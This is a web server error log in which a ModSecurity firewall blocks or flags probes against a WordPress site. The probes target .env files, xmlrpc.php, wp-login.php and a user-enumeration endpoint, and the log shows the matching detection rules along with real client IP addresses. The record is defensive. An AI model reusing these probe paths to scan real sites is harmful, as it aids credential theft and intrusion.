[Tue May 05 07:49:42.982689 2026] [autoindex:error] [pid 53856:tid 53870] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:43.291127 2026] [autoindex:error] [pid 53856:tid 53882] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:43.560482 2026] [autoindex:error] [pid 53856:tid 53868] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:52.727895 2026] [autoindex:error] [pid 53856:tid 53872] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:53.009054 2026] [autoindex:error] [pid 53856:tid 53883] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:53.290111 2026] [autoindex:error] [pid 53856:tid 53885] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:53.577851 2026] [autoindex:error] [pid 53856:tid 53886] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:53.868701 2026] [autoindex:error] [pid 53856:tid 53883] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:54.164484 2026] [autoindex:error] [pid 53856:tid 53888] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:57.915984 2026] [autoindex:error] [pid 53856:tid 53884] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:49:58.195165 2026] [autoindex:error] [pid 53856:tid 53883] [client 185.82.72.3:39605] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 07:54:51.100441 2026] [:error] [pid 53856:tid 53876] [client 43.157.179.227:46836] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afkxy3G_NPOxSH0O9aRtOAAAAUs"]
[Tue May 05 08:09:19.114103 2026] [:error] [pid 39178:tid 39194] [client 47.82.180.81:61739] [client 47.82.180.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "afk1LzaPrgTaiOD_15v6-QAAAM4"]
[Tue May 05 08:09:19.500597 2026] [:error] [pid 53856:tid 53876] [client 47.82.180.81:61868] [client 47.82.180.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "afk1L3G_NPOxSH0O9aSNvQAAAUs"]
[Tue May 05 08:18:45.819060 2026] [:error] [pid 39073:tid 39137] [client 129.211.172.249:47840] [client 129.211.172.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afk3Zf0kT1BNjk46Bke06gAAAIM"]
[Tue May 05 08:57:18.764090 2026] [:error] [pid 53856:tid 53868] [client 36.65.202.202:61639] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAbnG_NPOxSH0O9aSZxQAAAUM"]
[Tue May 05 08:57:29.171599 2026] [:error] [pid 39072:tid 39130] [client 36.65.202.202:62059] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAefolSHl4aAnrIouWMwAAAFc"]
[Tue May 05 08:57:39.696145 2026] [:error] [pid 53856:tid 53870] [client 36.65.202.202:62391] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAg3G_NPOxSH0O9aSZ0QAAAUU"]
[Tue May 05 08:57:50.348034 2026] [:error] [pid 39072:tid 39110] [client 36.65.202.202:62727] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAjvolSHl4aAnrIouWXwAAAEM"]
[Tue May 05 08:58:00.706100 2026] [:error] [pid 39072:tid 39124] [client 36.65.202.202:63055] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAmPolSHl4aAnrIouWbwAAAFE"]
[Tue May 05 08:58:11.310762 2026] [:error] [pid 39178:tid 39194] [client 36.65.202.202:63388] [client 36.65.202.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.65.202.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflAozaPrgTaiOD_15sHmwAAAM4"]
[Tue May 05 09:15:38.666817 2026] [:error] [pid 64890:tid 64903] [client 190.171.113.73:39988] [client 190.171.113.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.171.113.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflEuhyNfxBki939l7eQKgAAAYo"]
[Tue May 05 09:15:48.099393 2026] [:error] [pid 53856:tid 53870] [client 190.171.113.73:36874] [client 190.171.113.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.171.113.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflExHG_NPOxSH0O9aSg2QAAAUU"]
[Tue May 05 09:15:59.545513 2026] [:error] [pid 39071:tid 39088] [client 190.171.113.73:15628] [client 190.171.113.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.171.113.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflEz4vmnRMz9gRzix3u3gAAAAg"]
[Tue May 05 09:16:10.027716 2026] [:error] [pid 39071:tid 39094] [client 190.171.113.73:13619] [client 190.171.113.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.171.113.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflE2ovmnRMz9gRzix3u5gAAAA4"]
[Tue May 05 09:17:32.763933 2026] [:error] [pid 53856:tid 53873] [client 190.171.113.73:43522] [client 190.171.113.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.171.113.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflFLHG_NPOxSH0O9aShLgAAAUg"]
[Tue May 05 09:29:54.908747 2026] [:error] [pid 39071:tid 39086] [client 165.22.35.57:51467] [client 165.22.35.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.35.57, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aflIEovmnRMz9gRzix3yZgAAAAY"]
[Tue May 05 09:29:56.489906 2026] [:error] [pid 39071:tid 39087] [client 165.22.35.57:51660] [client 165.22.35.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.35.57, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aflIFIvmnRMz9gRzix3yawAAAAc"]
[Tue May 05 10:49:18.450769 2026] [:error] [pid 25743:tid 25751] [client 175.157.88.243:65488] [client 175.157.88.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.157.88.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflarm-PCMRhF5DdUnNpIwAAAAQ"]
[Tue May 05 10:49:25.088214 2026] [:error] [pid 25744:tid 25795] [client 175.157.88.243:65489] [client 175.157.88.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.157.88.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflatSR8IuyzjkW06ONuqAAAAJU"]
[Tue May 05 10:49:35.607431 2026] [:error] [pid 25745:tid 25816] [client 175.157.88.243:65491] [client 175.157.88.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.157.88.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflav5sd7hb7vrvCNBm-3QAAAM8"]
[Tue May 05 10:49:46.170711 2026] [:error] [pid 25835:tid 25850] [client 175.157.88.243:65492] [client 175.157.88.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.157.88.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aflaylDT5nGJyh1439wzXwAAAQ0"]
[Tue May 05 10:49:56.811108 2026] [:error] [pid 25744:tid 25792] [client 175.157.88.243:45981] [client 175.157.88.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.157.88.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afla1CR8IuyzjkW06ONu1wAAAJI"]
[Tue May 05 10:57:54.829945 2026] [:error] [pid 25744:tid 25783] [client 205.185.118.243:53666] [client 205.185.118.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aflcsiR8IuyzjkW06ONwfwAAAIk"]
[Tue May 05 10:58:55.566206 2026] [:error] [pid 25743:tid 25763] [client 205.185.118.243:59095] [client 205.185.118.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.243, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aflc72-PCMRhF5DdUnNrmAAAABA"]
[Tue May 05 12:32:18.496361 2026] [:error] [pid 25744:tid 25781] [client 49.51.204.74:51690] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afly0iR8IuyzjkW06OOMGwAAAIc"]
[Tue May 05 13:16:09.381771 2026] [:error] [pid 25835:tid 25855] [client 150.109.119.38:38244] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afl9GVDT5nGJyh1439x2wgAAARI"]
[Tue May 05 13:20:33.178331 2026] [:error] [pid 54732:tid 54751] [client 20.29.71.103:8488] [client 20.29.71.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "afl-IbGgYlDOb3nfuJSFWAAAAFE"]
[Tue May 05 13:20:33.413140 2026] [:error] [pid 54732:tid 54736] [client 20.29.71.103:8193] [client 20.29.71.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "afl-IbGgYlDOb3nfuJSFWgAAAEI"]
[Tue May 05 13:20:33.601657 2026] [:error] [pid 54732:tid 54753] [client 20.29.71.103:8474] [client 20.29.71.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "afl-IbGgYlDOb3nfuJSFXAAAAFM"]
[Tue May 05 13:20:34.120834 2026] [:error] [pid 25835:tid 25854] [client 20.29.71.103:12650] [client 20.29.71.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "afl-IlDT5nGJyh1439x4DAAAARE"]
[Tue May 05 13:20:34.697786 2026] [:error] [pid 25835:tid 25856] [client 20.29.71.103:12649] [client 20.29.71.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php"] [unique_id "afl-IlDT5nGJyh1439x4DgAAARM"]
[Tue May 05 13:46:58.842742 2026] [:error] [pid 25743:tid 25752] [client 122.160.52.86:61479] [client 122.160.52.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.160.52.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmEUm-PCMRhF5DdUnONFAAAAAU"]
[Tue May 05 13:48:16.613920 2026] [:error] [pid 54732:tid 54741] [client 122.160.52.86:62612] [client 122.160.52.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afmEoLGgYlDOb3nfuJSVOAAAAEc"]
[Tue May 05 13:48:38.045838 2026] [:error] [pid 54732:tid 54748] [client 122.160.52.86:62912] [client 122.160.52.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.160.52.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmEtrGgYlDOb3nfuJSVTgAAAE4"]
[Tue May 05 14:34:45.119178 2026] [:error] [pid 54732:tid 54757] [client 31.215.237.224:59550] [client 31.215.237.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.215.237.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmPhbGgYlDOb3nfuJSqLQAAAFc"]
[Tue May 05 14:34:55.432822 2026] [:error] [pid 25835:tid 25851] [client 31.215.237.224:59961] [client 31.215.237.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.215.237.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmPj1DT5nGJyh1439yQdgAAAQ4"]
[Tue May 05 14:35:16.947279 2026] [:error] [pid 25835:tid 25860] [client 31.215.237.224:60637] [client 31.215.237.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.215.237.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmPpFDT5nGJyh1439yQjAAAARc"]
[Tue May 05 14:35:27.630048 2026] [:error] [pid 54732:tid 54750] [client 31.215.237.224:61072] [client 31.215.237.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.215.237.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmPr7GgYlDOb3nfuJSqawAAAFA"]
[Tue May 05 14:35:38.426724 2026] [:error] [pid 54732:tid 54752] [client 31.215.237.224:61461] [client 31.215.237.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.215.237.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmPurGgYlDOb3nfuJSqfgAAAFI"]
[Tue May 05 15:46:05.142728 2026] [:error] [pid 25745:tid 25824] [client 183.88.220.113:64143] [client 183.88.220.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.88.220.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmgPZsd7hb7vrvCNBkZKwAAANc"]
[Tue May 05 15:46:16.424303 2026] [:error] [pid 25745:tid 25805] [client 183.88.220.113:64656] [client 183.88.220.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.88.220.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmgSJsd7hb7vrvCNBkZcwAAAMQ"]
[Tue May 05 15:46:27.457921 2026] [:error] [pid 54732:tid 54752] [client 183.88.220.113:65108] [client 183.88.220.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.88.220.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmgU7GgYlDOb3nfuJTOmAAAAFI"]
[Tue May 05 15:46:38.535771 2026] [:error] [pid 25835:tid 25843] [client 183.88.220.113:24261] [client 183.88.220.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.88.220.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmgXlDT5nGJyh1439ynugAAAQY"]
[Tue May 05 15:46:49.597117 2026] [:error] [pid 25743:tid 25750] [client 183.88.220.113:49800] [client 183.88.220.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.88.220.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afmgaW-PCMRhF5DdUnOipQAAAAM"]
